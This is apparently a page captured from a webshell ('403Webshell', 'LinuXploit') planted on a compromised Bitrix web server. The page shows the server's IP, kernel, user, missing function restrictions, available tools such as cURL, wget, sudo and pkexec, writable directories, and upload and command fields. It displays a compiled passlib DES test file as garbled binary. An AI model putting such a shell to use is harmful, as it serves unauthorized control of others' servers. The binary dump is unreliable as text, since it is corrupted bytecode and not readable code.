403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/passlib/tests/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/passlib/tests/__pycache__/test_crypto_des.cpython-39.pyc
a

f�Wc�"�@sLdZddlmZmZddlmZddlmZddlm	Z	Gdd�de	�Z
dS)	z1passlib.tests -- unittests for passlib.crypto.des�)�with_statement�division)�partial)�getrandbytes)�TestCasec@s@eZdZdZgd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
S)�DesTestzpasslib.crypto.des)"�rrl�#b�72e)�����r	lX\�|XH�)lll{U
t�9s,	)�""DD�r
l3E<�f )��MW�	r
l-S$e�74;)r
rl�rq5��Rr)�2�laj�vrl�<�tCe�i)lWn4AelBg�r@[
l�M46lzH)ln7�;�e�	l�W�{�2�flqR�j@t�Q)l�&�L=lrq�
�PFl�YhGmu4)l�1L0KBl
D�[`-*
l*���)l�5��V�%l��2��l�@?m�y
)l�riz�e�l:�#!x�,l[X��+5)l�5
�E�l�a�n�c�:l	\Ch�f)l�s�q�~KljH~S�R(1lz+�o�,;S)l*��M8=l(nAF�^l^9*�~
)l/;�DD#l�`^k�}�4l�@
qr�b)lFu�-�.�>l2RNyj2lw+��:WQ)l^F�54Axl�\>ka8+XlZW�;�@�x)lvat5�
Blb`.�[^lVn.�6�E)l0SYX�l�b�]di@lVUE�
)l�%fs�z�Kl�<S!�lV��r�})l�sV+Tx�}l�Rn�j9l�!�Vny)l�)D�uJOl*q/�U�lJN��[S)l�&6qCl�(�1@q�llA.V";`z)l�O$'p|�blZ)�Z�H�l�w�i@�)lrlq�Q3h�)l||�xrlF�q�\
)l�q�c��rl�LSXG�m)rr	lQ$*�B�*)r	rl�[�U7=UU)rrl
=�@�?�.
)rr	l�B/?#@]Qc	Cs�ddlm}m}m}m}|jD]*\}}}||�}||�}|�|||@�q|�t|d�|�t	||d�|�t	|d�|�t	|d�|�t	|d�dS)	zexpand_des_key()r)�expand_des_key�shrink_des_key�_KDATA_MASK�INT_56_MASK��?������N)
�passlib.crypto.desr
rrr�des_test_vectors�assertEqual�assertRaises�	TypeError�
ValueError)	�selfr
rrr�key1�_�key2�key3�r!�A/usr/lib/python3.9/site-packages/passlib/tests/test_crypto_des.py�test_01_expand;szDesTest.test_01_expandc	Cs�ddlm}m}m}|��}td�D]*}t|d�}||�}||�}|�||�q$|�t	|d�|�t
||d�|�t
|d�|�t
|d�|�t
|d	�d
S)zshrink_des_key()r)r
r�INT_64_MASK��rrs	r�N)rr
rr$�	getRandom�rangerrrrr)	rr
rr$�rng�irrr r!r!r"�test_02_shrinkSs
zDesTest.test_02_shrinkcCs4ddlm}m}m}|��}||@|�d|�|@BS)zrandomize parity bitsr)r�
_KPARITY_MASKr$)rrr-r$r(Zrandint)r�keyrr-r$r*r!r!r"�_random_paritykszDesTest._random_parityc

CsTddlm}m}m}m}|jD]�\}}}||�}||�}||�}|||�}|�||d||f�||�}	||	|�}|�||d||	|f�td�D]8}
||�||���}|||�}|�||d|||f�q�qd}|�	t
|d|�|�	t|d|�|�	t
||d�|�	t||d	�|j	t|||d
d�|j	t|||dd�|j	t|||ddd
�dS)zdes_encrypt_block()r)�des_encrypt_blockr�_pack64�	_unpack64�key=%r plaintext=%r:z#key=%r shrink(key)=%r plaintext=%r:r%�&key=%r rndparity(key)=%r plaintext=%r:rrr'r�Zsalt���roundsN)rr0rr1r2rrr)r/rrr)
rr0rr1r2r.�	plaintext�correct�resultrrr Zstubr!r!r"�test_03_encrypt_bytesqs8

�

�

�
zDesTest.test_03_encrypt_bytesc
Cs�ddlm}|jD]d\}}}|||�}|�||d||f�td�D]0}|�|�}|||�}|�||d|||f�qDq|�t|dd�|�t|dd�|�t|dd�|�t|dd�|jt|dddd�|jt|ddd	d�|jt|ddddd
�dS)zdes_encrypt_int_block()r)�des_encrypt_int_blockr3r%r4�rr5r6r7N)	rr=rrr)r/rrr)rr=r.r9r:r;rr r!r!r"�test_04_encrypt_ints�s&

�


�
zDesTest.test_04_encrypt_intsN)
�__name__�
__module__�__qualname__ZdescriptionPrefixrr#r,r/r<r?r!r!r!r"rs&.rN)�__doc__Z
__future__rr�	functoolsrZ
passlib.utilsrZpasslib.tests.utilsrrr!r!r!r"�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit